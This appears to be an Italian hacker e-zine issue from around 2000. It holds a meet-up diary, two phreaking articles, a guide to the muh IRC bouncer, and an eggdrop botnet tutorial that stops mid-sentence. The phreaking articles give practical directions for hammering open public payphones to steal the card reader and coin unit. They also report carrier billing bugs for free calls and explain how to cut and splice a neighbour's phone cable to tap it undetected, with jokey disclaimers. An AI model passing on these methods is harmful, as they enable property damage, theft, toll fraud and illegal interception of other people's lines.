dopo una breve visita iniziale (nostalgica?) alle
risaie piemontesi (involontaria deviazione =) si
girano e approdano a quel fantastico paese qual'e'
ass***. Fin dal primo momento viene sommerso da un
mondo di coccole di una certa adry conosciuta al
futurshow dopo mesi e mesi di adulazioni da parte
del dantuz (ciao dante bastard dovevi venire!!!!).
Al meet erano quindi presenti in origine le seguen
ti persone: Adryana, Sharra, Smav, V56, Koma, Yago
e il vs fido (???) redattore x non dimenticare il
valido aiuto di uno speciale gatto dell'antidroga
anke chiamato nel giro degli spaccioni.. Spillo :D
La serata e' continuata con caricamentos di 486 e
altro hw (v56 rulez!!) nella special-machine di
Yago, una cena di non diciamo cosa e dopo aver
accompagnato koma alla metro, e' apparsa l'angeli
ca presenza di un essere totally out of Comune, di
nome noneX che ha visto con noi in ordine: The
Blair Witch Project, Matrix e l'intramontabile
Nirvana. Non soffermandosi sul fatto che gia' al
2ø V56 dormiva su due sedie e gli altri sonnecchia
vano (ma non la fida adry!) ci siamo fatti una
collazione alla grande come direbbe qualcuno ;)

2øGIORNO (DOMENICA 16\04\2K): dopo la collazione smav si desta dal divano
delirando "Sempre la pasta!!!" per poi spiegare
che pensava a Spaghetti Hackers =) Dopo poco
riappare la mitica figura di Koma (in koma) con
il quale si decide di anna allo Spizzico xche'
e' belo cosi' e poi dando tempo al tempo si erano
fatte le 12:30 ;) e un pez di piz ci stava a
manetta... noneX (il bastardo dentro) ci
abbandonava x non so chi e non so cosa e noi
totalmente afflitti da tale evento ci consolavamo
andando allo Smart Market a vedere qualcuno degli
oltre 50.000 oggettini usati che vendevano...
E li' il caos. Tutto comincia quando Koma N0bo &
smav riescono a convincere 2 standisti mezzi
ubriachi dello Smart che odiano i pc e questi
prendendoli in simpatia regalano loro varie cose
tra cui 1 accappatoio, un tanga rosso da uomo,
una maglietta. Partendo da questo misero bottino
(in realta' koma si e' scolato 2 bicchieri di
grappa) i ns eroi (koma e smav) cominciano il
viaggio con una bella scommessa: andare in giro
vestiti con l'accappatoio e il tanga (se mi cono
scete chiedetemi le foto che ve fanno schiatta
uahahahahah). Non contenti i ns eroi decidono di
fare come le Iene andando di baratto in baratto
x vedere di arrivare ad un peluche :D La 1a
acquisizione e' stato uno zippo...la 2a degli
shangai e dei campioncini di profumo in omaggio;)
da li' il passo e' stato breve..si e' subito giunti
al tanto desiderato peluche. Dopo una pausa cicca
(perche' qualcosa di illegale ci voleva..) in uno
spazio riservato agli addetti, pensammo bene che a
missione compiuta si poteva anche tornare a casa.
Tra l'altro abbiamo comprato un gioco della PSX,
"Kula world"...un gioco di una palla:P
Dopo questa giornata di distruzione cosmica i ns
eroi perdevano koMA (che tornava a casa) e si
addormentavano felici e contenti.I giovani della
situazione, addormentati sul divano, venivano
accompagnati da due angeli a letto.

3ø GIORNO
(LUNEDI' 17/04/2K): il meet finiva...il n0bo alle 4 era disperato ed ascoltava
i RHCP ed alle 8 apparivano in salotto le figure emblemati
che di V56 e smav con i quali il n0bo ha deciso di restare
fino alle 11 x poi essere accompagnato in stazione da
Sharra, Smav e Adry in metro x poi fare un breve saluto al
miticuz Dev via phone il quale era in gita. Alla partenza
del treno la disperazione del N0bo che aspetta ancora la
risposta del tribunale x l'adozione in casa HDE..........
X la cronaca il n0bo arriva in ritardo di 2 ore al lavoro
senza avvertire e non contento chiedeva 5 gg di ferie :D
Il capo stranamente (forse lavoro male??????) (lavorare???
ma se passi tutto il tempo a chattare ed a scroccare
chiamate dall'ufficio!! ndA-SyNcH) fu contento di dare le
ferie al suo dipendente preferito e quindi il n0bo scrisse
sms a mezzo mondo diffondendo la sua felicita' e avvertendo
i poveri tapini che come l'incubo peggiore....ritornava
sempre :DDDD

4ø GIORNO
(MARTEDI' 18/04/2K): dopo 12 ore di sonno che dovevano bastare x l'intera
settimana (SI COME NO!!!) il n0bo prendeva il treno con
comodo e appena messo piede a milano (dopo diverse
peripezie x ritrvar la via che aveo smarrito...) veniva
subito trasportato dalla famiglia HDE ad un ristorante
cinese dove con molto coraggio e spirito esterofilo
ordinava una pizza al tonno e finiva la scorta del locale
di coca cole assieme a validi aiuti quali smav e sharra.
Apparivano in questo locale una strega di nome Vittoria
e il suo marito Dario noto maestro di arti marziali ma..
non era finita!!! Dopo una telefonata a _p0nic0_ by sharra
smav e n0bo arrivava noneX e dopo una accurata discussione
su star trek si turnicava/arrotava verso la casa degli
HDE. Io mi sono arrischiato ad andare in macchina con
nonex che non guida affatto male e ce se fermava a fa
benzina con i trucchi di harlok (che rulez siempre..ma
xche' non 6 venuto b.i.!!!! :ø(( ). Una volta a casa di
adry&V56 si e' addato al canale ;) il mitico (che ci sta
troppppppo dentro!!!) Krige che se lo conosci te fa mori'
dalle risate se non lo conoscetete...be...vergognatevi :P
La nottata e' andata avanti pian piano mentre eravamo
tutti in chat ma a gruppi xche' va be che qui di pc ce
ne so ma cmq e' sempre na casa mica un castello ;)
Alle 4 di mattina non so dove non so come non so quando
e non so nemmeno perche' abbiamo abbandonato i nostri
nick e i ns chan (ciao #caccaaaaaaaaaaaaaaaaaaaaaaaaaaa)
x spostarci su rotte quali #troie #lesbiche #gay #sesso
e abbiamo cominciato a ridere x un tot di tempo
equivalente alla durata delle query con casalingue
incallite e maschi in cerca di donne ideali ;) Si sono
profilati i seguenti profili:
1) ti querano dicendo posso parlarti? x poi comincia...
2) ti querano dicendo posso scoparti? x poi continua...
3) persone senza speranza che prima che tu possa dire
ciao hanno scritto 7 righe di porcate varie che ben
immaginate (vero AsYn? qui al mio fianco che legge :P)
Dopo sbellicamenti vari e discorsi sul cyber sex ce ne
siamo annati a letto o bel posto vinto/assegnato/guadagnato
/sudato alle 7 del mattino dopo una query adry-n0bo da
pauraaaaaaaaaaaaaaaa...

5ø GIORNO
(MERCOLEDI' 19/04/2K): Ovvero la mattina in cui si presento A-SyNcHr0... alla
mattina sharra va al suo ultimo gg di scuola prima
delle vacanze e alle 10 si presenta davanti alla porta
un tipo che dice di chiamarsi A-SyNcHr0... ci crediamo?
Be noi si...dopo il resoconto delle varie peripezie
subite dal ns amico linuxiano inside x arrivare fino
alla casa di HDE tramite treno, autobus, metro e altri
mezzi di fortuna e non... smav gli ha preparato un
paninozzo con meta' barattolo gigante di nutella dentro
e lui ne era felice :D Abbiamo riportato le videocassette
prese a noleggio e alle 2 meno 20 siamo andati a prendere
Sharra a scuola e ce ne siamo tornati tutti e 4 trotte
rellando verso casa cantando "Andiam Andiam na fame da
morti abbiam..."


Ebbene cari amici dovete sapere che l'autore di questo articolo e' talmente
imbottito di alcool e droghe moooooooooooolto leggere :P (siete pazzi sto
scherzando tutti sanno che sono contro le droghe io!) che una volta arrivato a
questo punto si e' completamente dimenticato di che era successo, dove era
successo e come quindi...chiedete agli altri se li conoscete se si ricordano
:D Byezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz da N0bodY88-ooo

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°ÛÛÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛÛÛÛÛ°°°ÛÛÛÛÛÛ°ÛÛÛÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛ°°ÛÛÛÛÛÛÛÛ°°²
²°°ÛÛ²²²ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ²²ÛÛ°°°ÛÛ°°°°°ÛÛ²²²²ÛÛ°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛÛ°°ÛÛ°°ÛÛ°°°°°°°°²
²°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛ°°ÛÛÛÛÛ°°°°ÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛ°°°°ÛÛ°°ÛÛÛÛ°ÛÛ°°ÛÛ°°ÛÛÛÛ°°²
²°°ÛÛ°°°°°°°ÛÛ°°ÛÛ°°ÛÛ°ÛÛÛ°°°ÛÛ°°°°°ÛÛ°°°°ÛÛ°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛ°ÛÛÛÛ°°ÛÛ°°°°ÛÛ°°²
²°°ÛÛ°°°°°°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛÛ°°ÛÛÛÛÛÛ°ÛÛ°°°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛÛ°°ÛÛÛÛÛÛÛÛ°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ UN PO' DI NOVITAAAAAAAAAAAAA' ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Benissimo....allora disclaimer del mio piselluzzo :
Non mi ritengo responsabile di quello che c'e' scritto
in sto azzo di articolo...tutto quello che scrivo e'
a scopo puramente informativo...ciucciatemela a lungo..
ect ect....puttanate varie...
IMPORTANTE: TUTTO QUELLO CHE SCRIVO IN QUESTO ARTICOLO
NON L'HO MAI ASSOLUTAMENTE PROVATO. NON MI VENITE A
ROMPERE MAGISTRATI O CARRAMBA DI MERDA...VOI DATO CHE AVETE
IL CERVELLO RISTRETTO DOVETE PRENDERE TUTTO CIO' CHE DICO
COME PURE CAXXATE...E MI SONO TESTIMONI I MIEI AMICI NEWBIE.
SUKATE.

This Art. IsssssS Ded To :-La mia Killer preferita...Ale :*
-Il mio Legion che mentre scrivo
scanna e scanna...incessantemente
uaz uaz...hihih..(e non trova un
cazz....porc')

ThIs ArT iS Vs DeeeeD T0 : Nin zo proprio...e' parecchio che
qualcuno non mi sta sulle palle
in maniera forte..c'e' solo una
persona che veramente odio...ma lui
lo sa benissimo...non c'e' bisogno
che lo scriva ogni volta.
Merda e'...e per sempre sara'.

Benissimo.....e' da parecchio che non si sente qualkosa di
veramente nuovo.....la Telecum e' sempre + allerta ect ect..
insomma....la vita e' sempre + difficile per i phreaker italiani
o per gli aspiranti tali :((
Allora...l'articolo sara' diviso in 2 parti una nella quale
descrivero' i punti deboli di una cabina...nell'altra invece
un paio di cosette che ho scoperto....

Parte 1
BruTaL AsSauLt !!!

Benissimo....allora se volete far danno...beh...penso sappiate
gia' cosa fare...puttanate varie del tipo...cornetta portata a
casa...o anche...nin zo...spakkare il display...o bruciare
le cinghie del lettore di schede con della benzina inniettata
nella fessura con una siringa...
Pero'....sto articolo e' un po' diverso...perche' non vi spieghero'
come far danni....ma dove colpire e come una cabina ed una
centralina per poterla aprire e trarne fuori qualkosa di
utile.
La nostra beneamata cabina telecum puo' sembrare una bella
cassaforte...ma in realta'...lo e' ! (porco zio)...cmq...
non vi fate troppi problemi...alla fine dell'atricolo riuscirete
ad aprirne una....o almeno saprete come fare :Pp

**Lettore schede**

Il lettore di schede e il pezzo affiancato alla vera e propria
cabina sono sicuramente il pezzo + fragile di tutti.
La lamina di ferro con cui e' fatto il pezzo in cui e' incastrato
il lettore e' poco spessa..diciamo...+ o meno...3-4mm
e con un martellone e' mooooolto facile riuscire a piegare la
parte di sopra

||||| ______ colpite qui'
|| O_ ____ /_____/| /
| _||____| | === -||__/_
|___| \\ |-_----|/___/|
| \ /\\ || | _ | -- ||
|----\ / \\ || ||.|| __ ||
| \ \/ / || ||_||____|/
| \ / ||_| _ ||
| \___/ |___|_||/
| | | |
| |
| | ASCII by Dark_elf

La mascherina del lettore verra' in avanti per l'urto e la
lamina superiore si pieghera'....facile ora sradicare la
mascherina ormai non + ancorata...ed estrarre il lettore
che e' semplicemente appoggiato all'interno del contenitore.
Il lettore e' perfettamente integro e l'operazione (ve lo
assicuro) non dura + di una 30ina di secondi.
Ora dovrete solo sfilarlo e staccare un cavetto posto sulla
sinistra del lettore che lo collega al rotor tramite un buchino.
Uaz Uaz...lettore integrissimo a casa.......hihihi


***Rotor***

Bene beneeee......qui' la cosa si fa + difficile e + lunga...
se siete bravi con le serrature provate a forzare quella
che e' posta sulla destra....ho visto un tipo che in 15 min
me ne ha aperte 2....poooorc....vabbe'....era allenato con i
motorini e le porte di casa....(azz...bella gente che conosce
DantuZZo..OH!..fa sempre comodo conoscere gente cosi' :) )
Se invece non ve la cavate bene con le serrature...beh....
passate ai metodi drastici...sempre martellone...
non dovete + colpire sulla parte superiore....bensi' sulla
mascherina stessa..fino a distruggerla completamente...
operazione che dura dai 3 ai 4 min....anche troppo tempo...
ve lo assicuro!.
Al termine dell'attacco...levata la scorza potrete tranquillamente
estrarre il rotor con delicatezza (solo appoggiato) integro anche
questo...sempre se non lo avrete distrutto con le martellate...
proprio per prevenire cio' vi consiglio di dare le martellatone
non al centro...ma sugli spigoli..dove il rotor vero e proprio
non c'e', ed in oltre la scorza e' meno dura.

Parte 2 Un po' di novita'

*Incominciamo col parlare delle cabine.....benissimo....ogni cabina
, come ben saprete, ha un suo numero di telefono a cui risponde.
Questo numero di telefono non compare quando si chiama su di un
telefonino o altro affare...poiche' come standard non e' abilitato
l'invio del numba....pero' questo numero c'e' scritto....e per la
precisione e' sempre scritto all'interno della cabina, di solito
con un pennarello...o sul retro della mascherina o sul rotor stesso.
Ho gia' raccolto 3 o 4 numeri di telefono di cabine...ma per ovvie
ragioni non li posso distribuire in rete :((( (sorry PhreakerZ!)
P.S. la cabina non e' dotata di suoneria...ma se alzate la cornetta
risponderete :)))

*Altra cosetta che ho scoperto e' quella che gli operai della telecum,
almeno dalle mie parti, sono cosi' pigri...o non so che altro...
che non chiudono una buona parte delle centraline....sopratutto
quelle che si trovano nei portoni o appena fuori da un palazzo...
BASTARDI ! vi dimenticate di chiudere la mia centralina ?? e se
uno come me usufruisce della mia linea ?? sfalzini schifosi !!!

*Terza cosa.....la Wind....beh...compagnia nuova..non ha avuto
ancora il tempo di organizzarsi per bene....in alcune aree
del leccese infatti appoggiandosi a Tin non si pagavano le
telefonate....con qualsiasi cell. e verso qualsiasi cell o casa.

*Dulcis in Fundo....un bel bug della Wind....tutte le chiamate
che non vengono inoltrare nel giro di 20 sec. non vengono
addebitate....quindi provate e riprovate finche' il primo squillo
non si sente solo dopo 20 sec. !!!!! UAZZZZzzzzzzz uAzzzzzz

Che gooooooodoooooo.......vabbuo'....alla proxima...e spero che in
questo numba riesca ad includere le foto di un rotor e di un
lettore di schede....speriamo beneeeeeee........ !!!!! byeZ byeZ

Durante Aligh|eRonE.....08V|0U5: 54|NT 59|R|T5 !!! :PPpp

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

*************************************
*** Phreacking Assault by [RequieM] ***
*************************************

/* nulla di nuovo dall'underground ... */
/* solo una considerazione spassionata */
/* non aprire una Centra se c'e' il cavo */

L'ultima era la piu' sensata ...

"Non aprire una centralina se c'e' il cavo"

Pare scontato ma non lo e' anche perche' magari e' da 10 anni che lo avete nel
vostro giardino e non sapevate che era del vicino ...
Per avere la situazione sotto controllo basta andare al catasto o in una
biblioteca rifornita di piantine dal comune (ce n'e' 1a in ogni regione) .

Avuto il materiale che vi interessa ("impianti elettrici e/o idrici") potete
cominciare a pensare dove potrebbe passare il fascio di cavi piu' vicino a
casa vostra ...dove l'avreste messo voi al posto loro ecc. ecc. -->
secchiello e paletta + tester

Bhe questa gia' letta e' la parte piu' bruteforcing dell'articolo passiamo a
quella "scontata" .

In alcune situazioni i cavi del telefono di un abitazione passano fuori della
loro proprieta' (scontato) e magari sono proprio sotto il vostro naso .

Le situazioni possono essere molte ma la piu' ricorrente e' quella del
"rialzato" .
Se la casa e' piu' recente della centralina telefonica il cavo deve per forza
essere stato installato successivamente .

Ma se il cemento impeversa non e' sempre possibile interrarli e cosi' vengono
fatti passare in mezzi tubi di plexiglas giallini (o neri a seconda dello
smog ...) aderenti alle pareti .
Dentro questi mezzi tubi passano cavi rigorosamente grigi che contengono "i
doppini"
.
- Per attaccarli suggeriamo di (prendendone in esame solo uno) taglarlo di
netto
- dividere i due doppini dall'involucro spesso circa 2 mm
- sfilettare (con sfilettatrice tarata a 1,5 mm) min 1 cm di doppino ad
entrambe le estremita'
- di riattaccare immediatamente la linea stando attenti a non far toccare i
due doppini (andrebbe in occupato)

Risultato :
Avete una parte di cavo scoperto (che coprirete con nastro adesivo grigio
chiaro) per telefonate e/o attacchi "al volo" .

Consigliamo di non isolare la linea in ore di punta xche' potrebbero
accorgersene e chiamare i tecnici che individuerebbero il punto di rottura
del cavo con appositi apparecchi .

/* requiem@freemail.it juxwel@hushmail.com */
/* JuxWel&[RequieM] */

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°°°°°°°°°°°°°°°°°°ÛÛ°°°ÛÛÛÛÛÛÛÛ°°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°°°°°°°°°°°ÛÛ°°°ÛÛ°°°°ÛÛ°°°ÛÛ°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°°°°°°°°°°°ÛÛ°°°ÛÛÛÛÛÛÛÛ°°°ÛÛ°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°°°°°°°°°°°ÛÛ°°°ÛÛ°ÛÛÛ°°°°°ÛÛ°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°°°°°°°°°°°ÛÛ°°°ÛÛ°°ÛÛÛÛ°°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°°°°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

MUH : + O - UN IRC BOUNCER

//////////////////////////////////////////////////////////////////////////////

Avete mai notato molte persone in irc sempre online e away , che magari
parlano solo per 5 minuti al giorno ...... bhe le ipotesi sono due :
- non ha problemi di bolletta :))
- usa muh

Cosa e' muh?
Muh e' un irc bouncer che ci lascia il nick in irc nei vari channel dove siamo
anche quando ci disconnettiamo e logga i vari messaggi diretti a noi ( query e
simili ... ) .
Cosa e' un irc bouncer ?
Un irc bouncer non e' altro che una specie di "porta" dalla quale passiamo
per mascherare il nostro ip in irc.
La "porta" e' in questo caso la nostra bella shelluccia dove abbiamo installato
il bouncer e che ci ridirigera' in irc.

Ecco un semplice schemino riassuntivo e spero esplicativo

NOi ------> Shell dove mettiamo il Muh ---------> Irc

Cosi' in irc non vedranno il nostro ip ma ....... bhe indovinate ^_^

Come detto prima il muh ha due funzioni :
- quella di irc buoncer , quindi non mostra il nostro vero ip e correlati
in irc
- lascia il nostro nick online anche quando siete disconnessi

Quando vi riconnetterete potrete tranquillamente leggervi i vostri log
e chattare tranquillamente col vostro nickname.

Ora passiamo alla fase operativa : installiamo il nostro bnc ......
Avete bisogno ovviamente di due cosucce :
- una shell ( le free di solito non li permettono cmq se siete fortunati ne
trovate ..... oppure ........... )
- conoscenze dei comandi base di linux

Ecco qui pochi semplici passi per installare questo fantastico Irc Bouncer.

1. mettete il file allegato a questo numero di NewBye nella vostra home dir
per esempio. Ora dobbiamo trasformare il file muh.tar.gz in muh.tar per poi
aprirlo. Digitiamo semplicemente un bel "gunzip muh.tar.gz" e otterremo il
nostro bel puntotar.

2. Ora dobbiamo aprire il tar e quindi digitiamo "tar xvf muh.tar"
Vedrete tutti i file estratti e aspettate che linux faccia il suo dovere

3. Ora vedremo una nuova bella dir chiamata /muh2.04
Entriamo in questa directory e procediamo all'installazione
Digitiamo "./configure" e appena finito "make"
Appena ha finito di fare tutto un bel "make install" installera' il nostro
Irc Bouncer.

4. Usciamo da questa directory e ovviamente vi ritroverete nella vostra home dir
Noterete due nuove directory /.muh e /muh

-----> CONFIGURIAMOLO <-----

Andiamo di corsa ( o come cavolo vi pare :) ) nella directory /.muh e in questa
ci sono tre file :

-> log = logga tutti i tentativi di connettersi quando si avvia il muh
-> messages = per ora lasciamolo stare
-> muhrc = IL FILE DI CONFIGURAZIONEEEEEEEEEEE

Ok : editiamo " muhrc " e cominciamo a settarci il nostro bel irc bouncer
nuovo di zecca. Ci sono diversi settaggi e molto semplici.
dopo il campo nick dobbiamo mettere il nick che vogliamo avere in irc
e quindi cancelliamo quello che ha messo il programma di default "muuh"
I campi sono + o - cosi':

***************
nick muuh eccolo qui il nick da sostituire
realname John Doe metteteci un nome qualsiasi
username muh mettete anche qui il nick usato nel primo campo
listenport 9999 lasciate cosi'
password ziptetr ( o simili ) questa e' la password che vi permettera'
di usare il muh e dargli i comandi
anche da mirc quando siete connessi
server irc.foo.bar:6666 qui mettete il server irc a cui volete connettervi
e al posto di 6666 mettete 6667
server localhostetc.etc. cancellatelo

***************

tutto il resto lo lasciamo intatto.

Abbiamo finalmente settato il nosto muh.
Ora avviamolo.
Andiamo nella directory /muh e avviamo il bnc digitanto "muh".
Benissimo
Abbiamo settato e avviato il nostro muh.

E ora come facciamo a sfruttarlo ?
Molto semplice :
andiamo nel nostro pc e avviamo il client che usiamo per connetterci a IRC.
La procedura la evito di scrivere, basta che leggete i docs che trovate nelle
varie dir....cmq di solito basta connettersi direttamente col client
irc alla shell .........
....ora connettiamoci e la nostra connessione verra' ridiretta verso il server
irc che avete scelto nella configurazione del muh.
Ora anche quando vi disconnetterete il vostro nick restera' in irc e tutti i
messaggi per voi ( query o altro ) verranno loggati nella dir /.muh nel
file MESSAGES della vostra shell.

N.B : un doc su come connettersi a questo bnc lo trovate nella dir
principale del programma allegato e se avete ancora dei problemi
provate a guardare fuori qualche sito e di sicure troverete qualche
help.

Un'altra cosa molto interessante: oltre che restare online , qualunque persona
vi fara' un /whois non vedra' + il vostro host / ip e company ( cioe' per
esempio ciaociao@liberx-pv-etc.etc. ) ma quelli del server che ospita la
vostra shell.

Spero di essermi spiegato decentemente e ora .......

DISCLAMER : io non ho scritto niente, non ho detto niente, non ho visto niente.
non c'ero e se c'ero cazzeggiavo ......

Quindi : se qualcuno entra in un server irc dove non si possono usare bnc o
company lo fa lo stesso con il muh e viene k-lineato non venga a
lamentarsi da me

Saluti : essendo le 4 di mattina la mia lucidita' non e' un gran che
e quindi faccio solo un piccolo elenco di nick

N0bodY88 :)))
L0rD
RigoR MorteM
MayhEm
|CyRaX|

Per commenti o insulti varie mailate pure a : fakefake@freemail.it :o)

That's all Fake

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ SE I VOSTRI BOT SI SENTONO SOLI....FATE LA BOTNETTA ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

I vostri Bot si sentono soli e sconsolati ?
Condividetegli i file e linkate la BoTnETTa!

Scusatemi amici..ritengo che la dedica di questo articolo vada ad
una sola persona...

This Arto is DeDDo to: Alessia..un giorno capirai che ti voglio bene
davvero...spero soltanto avvenga il + presto
possibile...
Indice

I Cazzate
II Termini usati :)
III A che pippa serve una botnet ???
IV Aggiunta e linkaggio dei bot
V Uso delle BotFlag |^ <--dovrebbe essere una bandierina...che tristezza
VI Condivisione di 2 BotZ

I. Cazzate

Lo scopo di questo documento e' mostrare a cosa serve una botnet
e a cosa puo' essere utile. Comprende anke l'uso delle Botflag
e della condivisione di informazioni.
Penso dovrebbe essere un mezzo disclaimer....se non lo e'....beh...
beccatevelo:
Oh....questo documento e' solo a scopo educativo ! miraccomando fate
i bravi bimbi....i bot sono vietati su moltissimi server IRC...
dai dai...bravi bimbini dello Zio Dantuccio....su' su'...studiate
e fate i bravini...Zio Dante non si ritiene responsabile di tutto
quello che i bimbini cattivi potranno fare leggendo sta schifezza...
nu' nu'....nezzuna rezbonzabilida' !!!

II. Termini usati

BotNet
Una serie di bot multipli connessi insieme.

Link
E' un termine che individua l'attuale stato di collegamento di un bot

comandi: ".link <nomebot>" ".unlink <nomebot>"

Hub
E' il bot "capo" a cui altri bot denominati "leaf" si linkano

Leaf
Alla lettera "foglia" e' un bot linkato ad altri bot.

Share
Termine che si indica per descrivere 2 bot che condividono le stesse
informazioni sugli user.

Aggressive share.
E'il termine usato per descrivere un particolare modo attraverso il
quale i bot condividono le informazioni sugli user. I bot settati in
aggressive share trasmetteranno agli altri bot le informazioni sugli
user che ricevono.

Passive share.
E'il termine usato per descrivere un particolare modo attraverso il
quale i bot condividono le informazioni sugli user. I bot settati in
passive share si limiterrano a riceve solamente le informazioni sugli
user da un altro bot.

Flags
Le "Flags" sono in pratica cio' che il bot e' autorizzato o puo' fare.
Sono dei particolari settaggi....delle opzioni insomma! :P
La particolarita' delle flag e' quella che possono essere globali (+s)
o specifiche per un canale (|+s #cacca)
Le flag di una botnet possono essere:

s Condivisione (aggressive share)
p Condivisione (passive share)
g Condivisione globale (condivisione di tutti i canali)
h Hub (il bot e' auto-linkato)
a alternativo (fa le (f)veci dell'hub se non c'e' hihihi)
l Leaf :P (bot autorizzato a linkarsi ad altri botZ)
r Rejected :( (bot non autorizzato nella net..kattivo !)
i Isola (isola la party-line in una botnet)
0-9 user (le flag definite degli user)

Comando: ".botattr <nomebot> (.+<flag> [#canale])" oppure
(.-<flag> [#canale])

porca miseria sono iniziati i Simpsons....fanculo...porco zio...
PAUSAAAAAAaaaaaaaaaaaaaaaa...............

Adress
L'indirizzo fisico, contenente l'host e la porta del bot
Esempio. culo.com:3333

Comando: ".chaddr <nomebot> <host:porta[/portauser]>"

Relay
Il numero della porta di "relay" (collegamento) del bot e' definito
del file di configurazione.
Potrai anke definirne uno per le connesioni telnet agli altri bot
ed un'altra per le comunicazioni di "relay".

Connessione di Relay
Questa e' una connessione usata per saltare ad un altro bot nelle DCC
chat.

Comando: ".relay <nomebot>"

Porta
E' usata per comunicare con gli altri bot e gli utenti..si puo'
specificare una porta per la comunicazione con gli utenti ed un
altra per le comunicazioni con gli altri botz.

III. A che pippa ti serve na BotNet ? ? ? ?

Beh...in generale una botnet serve per proteggere il tuo canale
con + di un bot alla volta :P P P
Dei bot linkati possono condividere informazioni sugli utenti,
o usare degli speciali script che permettono di effettuare varie
operzioni....ce ne sono certi attraverso i quali si compiono dei
TakeOver a dir poco perfetti......hhihihi kattiv kattiv !!!
Cmq date uno sguardo alla dir /pub/eggdrop/scripts1.3 in
ftp.eggheads.org ......uaz uaz

IV. Aggiungere e linkare BotZZZZzzz

Benissimo....per linkare uno o + bot per prima cosa avete bisogno
di sapere il loro dominio e le porte :PP

Allora, facciamo finta che ci sia un bot su cacca.com con la porta
3333 in ascolto ed un altro su culo.com con la porta 4444.
Benizzimo...li dobbiamo linkare....azz.....e ora come azz facciamo ?
beh....vo' dico iooooooooooo.........
Nel primo bot digitiamo ".+bot <nick2°bot> culo.com:4444"
questo solo se il 2° bot e' nello stesso canale del primo e quindi
